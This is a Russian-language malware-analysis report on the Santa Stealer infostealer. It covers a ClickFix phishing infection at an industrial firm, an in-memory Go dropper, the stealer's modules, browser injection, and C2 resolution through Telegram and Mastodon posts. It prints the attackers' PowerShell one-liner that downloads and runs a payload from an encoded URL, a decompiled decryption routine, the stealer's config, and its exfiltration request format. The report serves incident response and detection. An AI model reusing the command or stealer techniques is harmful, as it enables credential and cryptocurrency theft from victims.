На WARP-скорости за твоим Roblox и корпоративными секретами: как Santa Stealer превратил кражу логов в конвейер

Ключевые моменты:

• В марте 2026 года мы зафиксировали атаку на российскую компанию из сферы промышленности с использованием техники ClickFix, где сотрудника на фишинговом сайте под видом проверки капчи от Cloudflare убедили выполнить команду через Win+R. Запущенный PowerShell-скрипт загрузил инфостилер Santa Stealer, распространяемый по коммерческой модели Malware-as-a-Service (MaaS) и нацеленный на максимальный сбор учетных данных.
• Злоумышленники использовали взломанный легитимный ресурс, а саму доставку стилера в систему осуществлял go-дропер, запускающий малварь исключительно в памяти процесса без записи файлов на диск.
• В новой версии вредоноса появилась возможность туннелирования трафика через Cloudflare WARP/WireGuard, что позволяет скрывать реальный адрес командного сервера внутри легитимных UDP-пакетов. В качестве резервного канала (Dead Drop Resolver) стилер обращается к подконтрольным страницам в Telegram и Mastodon, извлекая новые C2-домены.
• Архитектура вредоноса включает 13 последовательных модулей, которые «пылесосят» сессии браузеров, токены Discord/Steam, корпоративные VPN-клиенты, облачные доступы (Azure, Google Cloud) и криптокошельки. При этом заложенная в коде функция самоликвидации на системах в странах СНГ (Anti-CIS) была намеренно отключена, так как кампания изначально была нацелена на российские организации.
• Инфраструктура Santa Stealer тесно завязана на массовую перепродажу похищенных игровых учетных записей, а его разработчик напрямую сотрудничает с крупнейшими селлерами на форумах.

Обзор инцидента

В марте 2026 года к нам обратилась организация, работающая в сфере промышленности с просьбой провести расследование недавнего инцидента — заражения одной из корпоративных рабочих станций.

Каким образом злоумышленникам удалось попасть в систему?
Заражение произошло в результате атаки типа ClickFix — при переходе одного из сотрудников на фишинговый сайт https[:]//kentuckyfiredepartment[.]com.

При открытии данного ресурса демонстрировалось очень убедительное предложение пройти капчу. Для этого нужно было ввести команду в диалоговое окно Run (Win+R), которая с помощью PowerShell загружала конечную полезную нагрузку по ссылке https[:]//galaktikabt[.]ru/test/run.exe в папку %TEMP%

Для этого использовалась команда:

    
powershell -w h -c "$p=$env:TEMP+'\sys_v.exe';$u=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9nYWxha3Rpa2FidC5ydS90ZXN0L3J1bi5leGU='));iwr-outf $p $u;Unblock-File $p;start $p"
    

Важно подчеркнуть, что второй задействованный ресурс (https[:]//galaktikabt[.]ru) является легитимным, однако впоследствии был скомпрометирован злоумышленниками, которые разместили на нем упакованную вредоносную утилиту, рассматриваемую в данном исследовании.

Отдельно отметим, что на фишинговом сайте также размещался архив

«https[:]//kentuckyfiredepartment[.]com/flowy.zip», предположительно содержавший модифицированную версию ПО для ведения списков и заметок WorkFlowy с внедренным трояном, ранее использовавшимся в аналогичных атаках ClickFix. Однако данный файл не является ключевым элементом рассматриваемого сценария заражения.

В качестве награды за выполнение указанных действий пользователю обещали повышенную конфиденциальность, сохранение аппаратного отпечатка, а также токен сроком действия до 90 дней — якобы для экономии времени и избавления от необходимости повторного прохождения проверки на робота.

Анализ образца, полученного с хоста, показал, что система жертвы была заражена сравнительно новым и представляющим интерес вредоносным ПО — Santa Stealer.

Согласно данным из открытых источников (в частности, обсуждений на тематических форумах, где зафиксированы первые упоминания), Santa Stealer представляет собой ребрендинг малоизвестного стилера BluelineStealer. До переименования активность под этим названием не наблюдалась и связанных с ним инцидентов выявлено не было.

По словам автора данного стилера, вредонос изначально был задуман как альтернатива Lumma и Redline, но с расширенным функционалом. На это намекает и первоначальное название — Blueline.

Дропер

Цепочка заражения включает два компонента: первичный дропер, написанный на Go, и основную нагрузку, реализованную на C.

Сам стилер не распространяется разработчиками напрямую, поэтому атакующие сами решили использовать дополнительный дропер без GUI. Его задача — загрузка и исполнение вредоносной нагрузки непосредственно в памяти через рефлективную PE-загрузку.

Такой подход позволяет избежать записи основного исполняемого файла на диск и, как следствие, минимизировать количество артефактов, доступных для обнаружения.

Точка входа дропера представляет собой самописный PE-загрузчик. Он не использует стандартные WinAPI-функции явно — весь процесс загрузки реализован вручную в рантайме.

Дропер выделяет буфер размером 4 543 174 байт, куда собирает зашифрованную полезную нагрузку: первые 6 байт являются хардкодом прямо в .text секции (IV/соль), остальные ≈4,5 МБ копируются из .rodata. После сборки буфер целиком передается в main_Couple для расшифровки с ключом 0x5A8C.

main_Census является оберткой над VirtualAlloc с флагами MEM_COMMIT | MEM_RESERVE (0x3000) | PAGE_EXECUTE_READWRITE (0x40). Сначала делается попытка выделить память по оригинальному ImageBase из PE-заголовка, при неудаче — уже по любому свободному адресу.

По итогу получается приблизительно такая цепочка запуска:

Отдельно остановимся на работе цикла расшифровки в дропере:

    
// Функция дешифровки пейлоада SantaStealer (оригинальный листинг main.Couple)
retval_140078A20 __golang main_Couple(__int64 src_ptr, unsigned __int64 data_len, __int64 src_cap, __int64 key)
{
  __int64 memmove_res; // rax
  signed __int64 p1_idx; // rbx
  unsigned __int64 right_idx; // rax
  unsigned __int64 left_idx; // rbx
  char tmp_swap; // si
  unsigned __int64 pair_idx; // rdx
  char tmp_pair; // si
  signed __int64 p4_idx; // rbx
  signed __int64 p5_idx; // rbx
  __int64 dst_ptr; // [rsp+10h] [rbp-8h]
  retval_140078A20 ret_slice; // 0:rax.8,8:rbx.8,16:rcx.8

  main_Couple_func1();
  dst_ptr = runtime_mallocgc(data_len, 0, 0);
  memmove_res = runtime_memmove(dst_ptr);
  main_Couple_func2(memmove_res);

  // Проход 1 — позиционное XOR / вычитание
  for ( p1_idx = 0; (__int64)data_len > p1_idx; ++p1_idx )
  {
    if ( (p1_idx & 1) != 0 )
      *(_BYTE *)(dst_ptr + p1_idx) = *(_BYTE *)(p1_idx + dst_ptr) ^ ((int)key % 97) ^ (31 * p1_idx); // нечетные
    else
      *(_BYTE *)(dst_ptr + p1_idx) = *(_BYTE *)(p1_idx + dst_ptr) - key % 53 - 17 * p1_idx;          // четные
  }
  
  main_Couple_func3(data_len, p1_idx, dst_ptr);
  
  // Проход 2 — реверс буфера
  right_idx = data_len - 1;
  for ( left_idx = 0; (__int64)right_idx > (__int64)left_idx; ++left_idx )
  {
    if ( data_len <= left_idx )
      goto LABEL_28;
    tmp_swap = *(_BYTE *)(left_idx + dst_ptr);
    if ( data_len <= right_idx )
      goto LABEL_27;
    *(_BYTE *)(dst_ptr + left_idx) = *(_BYTE *)(right_idx + dst_ptr);
    *(_BYTE *)(dst_ptr + right_idx--) = tmp_swap;
  }
  
  main_Couple_func4();
  
  // Проход 3 — попарная перестановка байт
  for ( pair_idx = 0; (__int64)data_len > (__int64)(pair_idx + 1); pair_idx += 2LL )
  {
    if ( data_len <= pair_idx )
      goto LABEL_26;
    tmp_pair = *(_BYTE *)(pair_idx + dst_ptr);
    if ( data_len <= pair_idx + 1 )
    {
      runtime_panicIndex(pair_idx + 1);
LABEL_26:
      right_idx = (unsigned __int64)runtime_panicIndex(pair_idx);
LABEL_27:
      left_idx = runtime_panicIndex(right_idx)._r1;
LABEL_28:
      runtime_panicIndex(left_idx);
    }
    *(_BYTE *)(dst_ptr + pair_idx) = *(_BYTE *)(pair_idx + dst_ptr + 1);
    *(_BYTE *)(pair_idx + dst_ptr + 1) = tmp_pair;
  }
  
  main_Couple_func5(dst_ptr);
  
  // Проход 4 — вычитание старшего байта ключа
  for ( p4_idx = 0; (__int64)data_len > p4_idx; ++p4_idx )
    *(_BYTE *)(dst_ptr + p4_idx) = *(_BYTE *)(p4_idx + dst_ptr) - BYTE1(key);
  
  main_Couple_func6(data_len, p4_idx, dst_ptr);
  
  // Проход 5 — финальный XOR с позицией
  for ( p5_idx = 0; (__int64)data_len > p5_idx; ++p5_idx )
    *(_BYTE *)(dst_ptr + p5_idx) = p5_idx ^ key ^ *(_BYTE *)(p5_idx + dst_ptr);
  
  main_Couple_func7(data_len, p5_idx, dst_ptr);
  
  ret_slice._r0 = dst_ptr;
  ret_slice._r1 = data_len;
  ret_slice._r2 = data_len;
  return ret_slice;
}
    

В данном случае дропер представляет собой полностью in-memory-загрузчик без следов на диске и закрепления — его единственная задача сводится к расшифровке и загрузке полезной нагрузки в память процесса с последующей передачей управления. Вся дальнейшая вредоносная активность реализована уже в загружаемом образе, анализу которого посвящена следующая часть.

Santa Stealer

Основная полезная нагрузка — это инфостилер семейства Santa Stealer, ориентированный на кражу аккаунтов (Roblox, Steam, Discord и других популярных приложений), браузерных данных, данных из браузерных расширений-кошельков, личных файлов и иной чувствительной информации.

Конфигурация, watermark’и и сетевое поведение указывают на коммерческий стилер билдер.

Мы изучили панель управления стилера. Скриншот со страницы с описанием и покупкой подтверждает, что Santa Stealer распространяется по модели Malware-as-a-Service с разделением возможностей по тарифам и заметной степенью кастомизации сборок. Если ранее, по имеющимся данным, доступ предлагался в двух вариантах — за 175 и 300 $, то в актуальной версии панели базовый тариф вырос до 200 $, премиальный остался без изменений и дополнительно появился lifetime-план за 1000 $. Premium-подписка открывает расширенные возможности настройки, включая правила отбора файлов, ключевые слова для поиска криптовалютных артефактов, задержку выполнения, bind-функциональность и crypto clipper.

Под bind-функциональностью (от англ. to bind — связывать) понимается возможность «склеить» стилер с любым легитимным файлом — например, с установщиком безобидной программы или документом. Жертва запускает скачанный файл, видит привычное окно установки, даже не подозревая, что в этот же момент в фоновом режиме скрыто запустился вредонос. А crypto clipper (клипер) — это модуль, который следит за буфером обмена пользователя. Поскольку адреса криптовалютных кошельков длинные и сложные, люди всегда их копируют и вставляют. Клипер на лету распознает скопированный адрес и тип кошелька и незаметно подменяет его на соответствующий адрес злоумышленника. В итоге жертва своими руками отправляет деньги мошенникам.

Отдельно примечательно, что функция прекращения работы на СНГ-системах в панели заявлена как опциональная настройка, что совпадает с нашим анализом образца: anti-CIS-проверка в коде присутствует, но в конфигурации исследованного нами семпла была отключена. Что логично, поскольку фишинговый сайт направлен на заражение именно пользователей из РФ. Малварь проверяет наличие значения 0x419 (1049 в десятичном виде), соответствующего русской локали, среди установленных в системе keyboard layout identifiers (HKL / KLID). Стоит подчеркнуть, что в относительно недавнем похожем найденном семпле это оказалась единственная найденная проверка во всем коде. Подобный подход выглядит крайне просто: при создании профиля жертвы стилер собирает гораздо больше информации о системе, но для функции самоликвидации автор почему-то ограничился поверхностным анализом раскладки. В итоге, если обычный иностранный пользователь просто добавит себе в Windows русскую клавиатуру, это обезопасит его от активации вредоноса при включенной проверке.

Проанализировав changelog и имеющиеся модули в стилере, можно сказать, что семейство развивалось от классического стилера к более универсальной платформе для кражи и подготовки данных к дальнейшей монетизации (в том числе и продаже на форумах). По мере выхода новых версий создатель расширял возможности вредоноса сразу по нескольким направлениям:

• Сбор браузерных данных.
• Работа с расширениями и кошельками.
• Кража данных из приложений.
• Отдельные модули под популярные сервисы.
• Поиск чувствительной информации и файлов.
• Профилирование жертвы.
• Watermarking сборок.
• Crypto clipper.
• Anti-CIS-логика.
• WARP туннель.

Подробнее про WARP-туннель расскажем далее в статье.

Веб-панель

Изученный нами билдер на сайте показывает, что сборка стилера тонко настраивается еще на этапе компиляции. Заказчик может выбирать отдельные модули, управлять логикой сбора файлов, настраивать эвристики поиска, параметры выполнения и дополнительные функции, связанные с доставкой и эксфильтрацией данных. По сути, панель позволяет не собирать один фиксированный образец, а кастомизировать билды под конкретные задачи.

Через панель можно настраивать следующие группы функций:

• Состав сборки — выбор включаемых модулей и дополнительных компонентов.
• Логика кражи файлов — расширения, ключевые слова, директории и глубина поиска.
• Параметры выполнения — задержка запуска, отдельные флаги поведения, фильтрация по окружению.
• Географические ограничения (Anti-CIS = исключение стран СНГ).
• Дополнительные возможности монетизации и доставки.
• Служебные параметры билда — watermarking, конфигурация отправки логов и прочие настройки кампании.

При этом важно понимать, что панель отражает декларируемые возможности платформы в целом, а не обязательные функции, активированные в каждом конкретном образце.
Наиболее наглядные примеры — анти-СНГ-механика, payload download / PowerShell и связь с ботом в TG:

• Панель и кодовая база указывают на поддержку географической фильтрации, однако в конфигурации исследованного нами семпла соответствующий параметр был отключен (anti_cis: false).
• Поля для загрузки дополнительной нагрузки с запуском PowerShell-команд. В исследованной сборке они оставлены пустыми.

Это позволяет нам предположить, что как минимум основная часть модулей и интеграций в Santa Stealer остается в сборке даже при неполном или пустом конфиге. Поэтому дополнительно подкрепляется версия о конфиг-ориентированной архитектуре, где поведение вредоноса определяется по большей части параметрами сборки, а не физическим исключением компонентов из исполняемого файла.

Помимо билдера и списка функций, панель Santa Stealer включает несколько операционных разделов для управления кампаниями, приемом логов и их последующей разборкой.

Раздел Activity / My Builds предназначен для управления сборками и должен отображать ранее созданные билды и связанные с ними транзакции. На скриншоте этот раздел пустой, однако сама его структура указывает на поддержку истории сборок и, вероятно, разграничения между этапом генерации полезной нагрузки и ее дальнейшим использованием.

Раздел Traffic отвечает за сводную аналитику по поступающим логам. В нем предусмотрены показатели общего объема собранных данных, среднего размера логов, числа логов за день, неделю и месяц, а также разбиение по странам и watermark-меткам. Иными словами, дается не просто список заражений, а агрегированная статистика, позволяющая оценивать эффективность работы, разделяя логи по конкретным потокам и кампаниям.

Настройка Telegram особенно показательна, потому что наглядно демонстрирует схему доставки логов. Панель позволяет указать токен телеграм-бота, привязать уведомления к конкретным watermark-меткам, настроить шаблон сообщения и автоматически подставлять в него сведения о заражении — например, страну, IP-адрес, HWID, число паролей, cookies и кошельков, список приложений и браузеров. Отдельно поддерживаются списки доменов по категориям вроде crypto, mail и finance, чтобы выделять наиболее интересные логи по заранее заданным маркерам. Телеграм здесь используется не как побочный канал, а как полноценный интерфейс оперативного приема и сортировки результатов, что в последнее время особенно популярно среди злоумышленников.

Ключевым разделом панели выглядит Logs. Именно здесь сосредоточен разбор результатов заражения: интерфейс позволяет видеть общее число логов, их суммарный объем и применять фильтры для отбора записей. Это дает оператору возможность быстро выделять интересующие логи и работать не со всем потоком данных сразу, а с нужной выборкой. В сочетании с телеграм-уведомлениями и аналитикой трафика такой раздел превращает панель из простого приемника данных также и в инструмент их последующей обработки.

На какие данные нацелен стилер

Браузерные данные. В конфиге отдельно включены сбор истории, закладок, автозаполнения, загрузок, содержимого буфера обмена, Local Storage и Session Storage. В отличие от других стилеров, которые ограничиваются только логинами и cookies, Santa Stealer нацелен на всестороннюю кражу: эти хранилища и логи активности могут содержать сессионные токены, ключи, служебные значения и иные полезные следы присутствия жертвы.

Данные из приложений. Конфиг прямо показывает набор категорий, по которым стилер ищет интересующее ПО: FTP-клиенты, VPN-клиенты, менеджеры паролей, игровые клиенты, мессенджеры и ряд других программ. В списках фигурируют такие популярные программы, как FileZilla, WinSCP, OpenVPN, NordVPN, ProtonVPN, KeePass, 1Password, Bitwarden, NordPass, Steam, Riot Games, Discord, Thunderbird, Outlook, TeamViewer, AnyDesk, Git for Windows, Visual Studio Code, Azure и Google Cloud. Таким образом, стилер нацелен не только на личные аккаунты, но и на окружения, где могут лежать доступы к корпоративным сервисам, удаленным подключениям, инфраструктуре и инструментам разработки.

Криптовалютная составляющая. Один из самых критичных блоков.
Конфиг задает как явные пути к кошелькам — например, для Atomic, Electrum и Exodus, — так и огромную карту идентификаторов браузерных расширений, через которые стилер распознает десятки, если не сотни, wallet- и password-manager-расширений. В этот список входят MetaMask, Phantom, Trust Wallet, Rabby, OKX Wallet, Coinbase Wallet, Tonkeeper, Keplr, Electrum, Exodus Web3 Wallet и множество других. Отдельно показательно, что сбор не ограничивается самим фактом наличия расширения: конфиг содержит и словарь крипто ключевых слов на нескольких языках — от wallet, seed, passphrase, mnemonic, recovery_phrase и private до названий конкретных монет и сервисов вроде bitcoin, monero, binance, tron, solana, coinbase, kraken, metamask и ledger. Это значит, что стилер не просто ищет «кошелек как приложение», а старается находить и сопутствующие файлы: сид-фразы, бэкапы, keyfiles, wallet.dat, keystore.json и подобные артефакты.

Файловый сбор. Возможно задавать, какие типы файлов брать, какие исключать, где именно искать и сколько данных допустимо вытянуть. В исследованной сборке явно указан поиск *.txt, при этом исключаются исполняемые и служебные форматы вроде .exe, .dll, .bat, .js, .msi, .reg и других. Ограничиваются и размеры: отдельно заданы лимиты на размер одного файла, суммарный размер по типу и общий объем собираемых данных. В качестве стартовых директорий указаны типичные пользовательские локации — Desktop, Documents, Downloads, Pictures, OneDrive и Google Drive. Поэтому файловый модуль рассчитан не только на полный «пылесос» диска, но и на управляемый и сравнительно быстрый поиск нужных артефактов в наиболее вероятных местах.

Отбор полезных данных и отсев мусора. Отдельно бросается в глаза блок browser_storage_filter: в нем перечислены десятки ключей, доменов и шаблонов, которые, наоборот, надо игнорировать. Среди них рекламные, аналитические и сервисные значения, связанные с Google Ads, DoubleClick, Taboola, Bing, YouTube и прочими типичными источниками шума. Образец пытается заранее отфильтровать нерелевантные данные, чтобы лог был компактнее и содержал больше полезных артефактов. С практической точки зрения это повышает ценность логов и снижает объем мусора в выдаче.

Параметры выполнения и поведенческие флаги. Исполнение сборки можно довольно тонко регулировать: есть анти-CIS-флаг, задержка запуска, флаги для environment/license collection, fake error, PowerShell-команда, URL для дополнительной полезной нагрузки и другие параметры. В нашем образце часть из них отключена или не заполнена, но важно другое: сами механизмы предусмотрены платформой и могут включаться в конкретных кампаниях, как уже упоминалось ранее.

Конфигурация и модули

Конфигурация хранится во встроенном blob и зашифрована с использованием ChaCha20.

Как выглядела конфигурация исследуемого образца:

    
{
  "anti_cis": false,
  "exec_delay_seconds": 0,
  "payload_dl_url": "",
  "powershell_command": "",
  "env_licence": true,
  "env_environment": true,
  "only_wallet_extensions": true,
  "history_take_history": true,
  "history_take_bookmarks": true,
  "history_take_autofills": true,
  "history_take_downloads": true,
  "history_take_clipboard": true,
  "history_take_local_storage": true,
  "history_take_session_storage": true,
  "force_steam_reauth": false,
  "fake_error": false,
  "error_msg": "DLL Load failed",
  "watermark": "███████╗ █████╗ ███╗   ██╗████████╗ █████╗      ███████╗████████╗███████╗ █████╗ ██╗     ███████╗██████╗    \n██╔════╝██╔══██╗████╗  ██║╚══██╔══╝██╔══██╗     ██╔════╝╚══██╔══╝██╔════╝██╔══██╗██║     ██╔════╝██╔══██╗   \n███████╗███████║██╔██╗ ██║   ██║   ███████║     ███████╗   ██║   █████╗  ███████║██║     █████╗  ██████╔╝   \n╚════██║██╔══██║██║╚██╗██║   ██║   ██╔══██║     ╚════██║   ██║   ██╔══╝  ██╔══██║██║     ██╔══╝  ██╔══██╗   \n███████║██║  ██║██║ ╚████║   ██║   ██║  ██║     ███████║   ██║   ███████╗██║  ██║███████╗███████╗██║  ██║   \n╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝     ╚══════╝   ╚═╝   ╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚═╝  ╚═╝",
  "file_extensions": [
    "*.txt"
  ],
  "excluded_filetypes": [
    ".exe",
    ".dll",
    ".lnk",
    ".scr",
    ".com",
    ".pif",
    ".hta",
    ".js",
    ".bat",
    ".cmd",
    ".ps1",
    ".vbs",
    ".vbe",
    ".wsf",
    ".wsh",
    ".jar",
    ".inf",
    ".cpl",
    ".msc",
    ".iso",
    ".img",
    ".scf",
    ".url",
    ".msi",
    ".reg",
    ".py"
  ],
  "excluded_file_names": [
    "wallet.log"
  ],
  "max_file_size_mb": 1,
  "max_total_file_size_per_file_type_mb": 16,
  "max_total_size_mb": 32,
  "scan_time_per_dir": 1,
  "search_paths": [
    "%USERPROFILE%\\Desktop",
    "%USERPROFILE%\\Documents",
    "%USERPROFILE%\\Downloads",
    "%USERPROFILE%\\Pictures",
    "%USERPROFILE%\\OneDrive\\Documents",
    "%USERPROFILE%\\OneDrive\\Desktop",
    "%USERPROFILE%\\Google Drive"
  ],
  "keyword_categories": [
    {
      "category": "crypto",
      "translations": [
        "crypto",
        "крипта",
        "cripto",
        "krypto",
        "kripto"
      ]
    },
    {
      "category": "cryptocurrency",
      "translations": [
        "cryptocurrency",
        "криптовалюта",
        "criptomoneda",
        "cryptomonnaie",
        "kryptowährung",
        "criptomoeda",
        "kripto"
      ]
    },
    {
      "category": "seed",
      "translations": [
        "seed",
        "сид",
        "semilla",
        "graines",
        "semente",
        "tohum"
      ]
    },
    

Основная функция отвечает за запуск модулей. По сути это dispatcher/orchestrator: она инициализирует окружение, последовательно вызывает module_caller() с индексами от 0 до 12, а затем проверяет общий буфер с результатами. Если хотя бы один модуль что-то собрал, данные передаются в обработчик, после чего уходят в main_grabber_and_send, отвечающую за отправку.

Два важных момента: первый, что сетевой этап не является отдельным «модулем» из этой таблицы. Все 13 модулей — это collectors/parsers/finalizers, которые наполняют общий буфер. Подключение к C2, разбиение данных на части, повторные попытки отправки и fallback-логика находятся уже после завершения работы модулей, в main_grabber_and_send и других смежных функциях.
И второй — в исследуемом нами образце было найдено 13 модулей, поэтому описываем только 13. Хотя сам разработчик указывает в панели 14, а в билдере на сайте их 16.

Набор модулей:

• host_profiling_maker собирает базовый профиль хоста: данные об окружении, пользователе, системе и machine-specific identifiers. Эти данные дальше используются как часть отчета и как вспомогательная информация при отправке.
• file_parser_grabber_module отвечает за config-driven-сбор файлов. Модуль разбирает встроенный конфиг с правилами поиска, обходит указанные пути и собирает подходящие артефакты.
• specific_extractor_parser_module — парсер специальных секций конфига. Он извлекает structured rules: поля, типы, значения, маски, include/exclude-параметры и прочие правила, которые затем используются другими сборщиками.
• collection_coordinator_module выступает как координатор сбора — вызывает вспомогательные routines, нормализует результаты и приводит их к общему формату записи: указатель на данные, размер и имя / категория результата.
• apps_profiling_module собирает информацию об установленном ПО и связанных registry-источниках. Видны обращения к uninstall keys и другим веткам реестра. Это позволяет стилеру понять, какие приложения установлены, и не сканировать систему вслепую.
• specific_file_folder_search_module ищет конкретные файлы и директории по правилам из конфига. Здесь используются env-переменные, predefined Windows folders, wildcard-пути, ограничения размера и фильтры.
• secd_search_module — еще один модуль файлового поиска, но с отдельным набором правил и обработчиков. По логике он похож на предыдущий, но работает с другой секцией целей.
• rule_based_search_module реализует rule-based-сбор: берет path templates, подставляет %APPDATA%, %LOCALAPPDATA%, %USERPROFILE% и другие переменные, затем ищет файлы по маскам и добавляет найденное в общий буфер.
• crypt_addons_apps_grabber_module — targeted collector для криптокошельков, браузерных расширений и хранилищ приложений. Внутри видна работа с chromium-данными, Local State, DPAPI/AES-ключами, токенами и другими функциями, специфичными для некоторых групп приложений.
• main_grabber_module — основной browser-grabber. Он обходит chromium-like-профили, ищет SQLite-базы, cookies, passwords, autofill/cards, токены и clipboard-данные. Несмотря на название, это не финальный упаковщик, а крупный сборщик браузерных артефактов.
• collected_records_finalizer_module финализирует уже собранные данные. Он забирает записи из глобального буфера, перекладывает их в стандартную структуру результата и чистит временное состояние.
• chromium_firefox_collector_module — отдельный браузерный collector для Chromium/Firefox/Yandex/Opera-like-целей. В подфункциях видны Local State, Login Data, Cookies, logins.json, moz_cookies, SQL-запросы к таблицам logins и cookies, а также расшифровка browser secrets через DPAPI/AES.
• targeted_storage_collector_module — дополнительный targeted storage collector. Он работает с секциями конфига вида field/value/type, парсит локальные storage/cache/db-файлы, использует callback-механизм и складывает извлеченные данные в общий буфер.

Конфиг, как и все хоть немного значимые строки, скрыт и восстанавливается только во время выполнения. Для этого используется функция chacha20_decr, которая встречается практически во всех модулях: перед формированием путей, SQL-запросов, HTTP-заголовков, имен файлов, registry paths, лог-сообщений и секций конфига.

Судя по псевдокоду, присутствует не один простой слой шифрования, а минимум два уровня обфускации.

Первый слой — это распаковка блоба (конфига). В нескольких местах копируется большой буфер из .rdata/глобальной области:

    
memcpy(buf, &unk_14041EAE0, 0xB998);
buf[i] ^= byte_14019ED60[i & ...];
    

То есть часть конфигурации сначала расшифровывается простым XOR-шифрованием. После этого получившийся буфер уже парсится как текстовая/JSON-like структура: ищутся секции, массивы, поля, маски, browser/app targets и параметры сбора.

Второй слой — это уже функция chacha20_decr. Она используется для расшифрования конкретных строк и параметров. В функцию передаются encrypted chunk, key/nonce и набор параметров, после чего она возвращает plaintext-строку. Именно через нее расшифровываются строки вроде путей, имен файлов, SQL-запросов, HTTP-параметров, ключей реестра и названий выходных файлов.

Инжект в браузеры

Вместо копирования статических файлов профилей (баз данных с паролями и куками), стилер использует иной подход — динамический перехват данных прямо из памяти браузеров через Process Injection. Это позволяет воровать сессионные токены, данные карт и пароли в момент их ввода, фактически обходя двухфакторную аутентификацию.

Весь процесс можно разделить на три основных этапа:

1. Поиск и фильтрация целей

В цикле проверяется наличие установленных в системе браузеров (Chrome, Brave и Microsoft Edge). Перед началом атаки вредонос обязательно следит за существованием папок пользовательских профилей. Если целевой браузер в системе отсутствует, лоадер сразу переходит к следующему, фиксируя свои шаги в зашифрованном локальном отладочном логе.

2. Внедрение вредоносного кода

Сам инжект выполняется по схеме:

• Из тела вредоноса извлекается вредоносная DLL (весом около 1,2 МБ). Лоадер прямо в памяти своего процесса разбирает структуру заголовков этой DLL, находит таблицу экспорта и вычисляет точный адрес целевой функции для запуска. Все строки при этом расшифровываются на лету алгоритмом ChaCha20.
• В процессе выбранного браузера через VirtualAllocEx резервируется место под код. Туда с помощью WriteProcessMemory копируется тело DLL и необходимые аргументы.
• Малварь меняет права доступа к выделенной памяти на безопасный режим PAGE_EXECUTE_READ (VirtualProtectEx). Отсутствие флага записи (W) помогает обходить базовые проактивные защиты антивирусов.
• Внутри легитимного процесса браузера стартует новый поток, передавая управление вредоносной функции.

3. Межпроцессное взаимодействие

Для координации работы основной модуль малвари создает локальный именованный канал и выступает в роли сервера. Внедренный в браузер код подключается к этому каналу как клиент. Все перехваченные внутри браузера конфиденциальные данные (куки, пароли, логины) в реальном времени сливаются через этот канал обратно в лоадер, который затем упаковывает их в архивы и отправляет на C2-сервер.

Резервное получение C2

Через телеграм

Исследуемый семпл использует технику Dead Drop Resolver для сокрытия управляющей инфраструктуры с использованием легитимных веб-сервисов: адрес управляющего сервера не хранится в стилере, а извлекается из публичного контента, который оператор может менять в любой момент без пересборки образца. Малварь не обращается к платформе телеграм через API бота, а стучится напрямую к веб-странице публичного канала:

1. Малварь отправляет GET-запрос к конкретному посту — https://t[.]me/oyiguahu4y/2?embed=1&userpic=false. Флаг embed=1 используется злоумышленниками целенаправленно: он заставляет сервер телеграма отдать «чистый» HTML-код контейнера сообщения, что существенно упрощает его последующий парсинг.
2. Из полученного HTML-ответа малварь извлекает содержимое тега js-message_text, в котором в виде шестнадцатеричных кодов (HEX) записан целевой домен:

    
0x72, 0x75, ... 0x2e, 0x72, 0x75
    

3. После перевода массива байт в ASCII-строку вредонос получает финальный адрес и порт командного сервера (C2): ruruurururururu[.]ru:8880. Далее стилер инициирует отстук уже по этому декодированному адресу для отправки собранных артефактов.

Через Mastodon

Помимо телеграма, в некоторых исследуемых образцах вредоносного ПО реализован альтернативный механизм получения управляющих серверов через децентрализованную социальную сеть Mastodon (в исследуемом образце — ioc.exchange).

Малварь отправляет серию GET-запросов к легитимному API платформы для получения метаданных профиля злоумышленников: https://ioc[.]exchange/api/v1/accounts/11608931371596213

В теле JSON-ответа вредонос парсит поле "note" (описание учетной записи), где в текстовом теге <p> скрыта аналогичная HEX-последовательность: 0x69, 0x61, 0x75, 0x68, 0x67, 0x75, 0x62, 0x79, 0x61, 0x67, 0x2e, 0x72, 0x75

После ASCII-декодирования малварь извлекает резервный адрес C2-сервера: iauhgubyag[.]ru

Взаимодействие с управляющим сервером

После выполнения всех 13 модулей проверяется общий буфер результатов. Если хотя бы один collector что-то собрал, данные агрегируются и передаются в функцию main_grabber_and_send, где начинается фаза загрузки.

Перед отправкой собранные данные объединяются в памяти и дополнительно шифруются с помощью XOR, после чего режутся на части размером до 0xA00000 байт, то есть до 10 485 760 байт. Части отправляются последовательно, с нумерацией и повторными попытками при ошибках. В runtime-логе наблюдалась строка вида:

    
Send chunk 1, size=8195455, host=ruruurururururu[.]ru
    

Для именования частей используется GUID-like формат:

XXXXXXXX-XXXX-XXXX-XXXX-XXXXXX.zip.001

где все X — символы латинского алфавита или цифры.
Для отправки данных на C2 используется HTTP-based канал с WinHttpOpen("okhttp/3.12.1", ...), а передача данных выполняется методом POST в формате multipart/form-data с boundary вида ----WebKitFormBoundary....

Наблюдаемые элементы multipart-запроса:

    
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary026F1621
w: ClickFix
complete: true
    

Это указывает на отправку результата как multipart body, использование служебного campaign/build-поля ClickFix и передачу признака завершения эксфильтрации через complete: true.

Внутри транспортного слоя формируются дополнительные идентификаторы жертвы и сессии. В коде видна генерация случайного client/session ID через CryptGenRandom, собственная base64-like сериализация, формирование timestamp, а также чтение MachineGuid из:

HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid

В образце также присутствует fallback-цепочка доставки. Один из вариантов использует WinHttpOpen("MastodonClient", ...) и HTTPS-запросы к ioc.exchange на порт 443. Поэтому домены вроде ioc.exchange или t.me могут не находиться простым поиском plaintext-строк: они могут восстанавливаться через chacha20_decr, храниться в зашифрованных blob/config-секциях или использоваться только в fallback-ветке, а не в основной C2-функции.

Отдельно реализован Cloudflare WARP/WireGuard-транспорт. Малварь может использовать официальный Cloudflare WARP как туннель, если основной C2 недоступен и соответствующий режим активирован конфигом. В исследуемом образце он был выключен.

Регистрация выполняется через Cloudflare API:
api[.]cloudflareclient.com/v0a2158/reg с user-agent okhttp/3.12.1 и имитацией android-клиента. Шаблон JSON-запроса выглядит так:

    
{
 "install_id": "",
 "tos": "%s",
 "key": "%s",
 "fcm_token": "",
 "type": "Android",
 "model": "PC",
 "name": "%s",
 "locale": "en_US"
}
    

Далее образец получает id/token, запрашивает конфигурацию и извлекает WireGuard peer endpoint. Endpoint не зашит статически в PE, а приходит динамически от Cloudflare WARP API. Поэтому для детекта устойчивее смотреть не на конкретный IP peer endpoint, а на bootstrap-флоу.

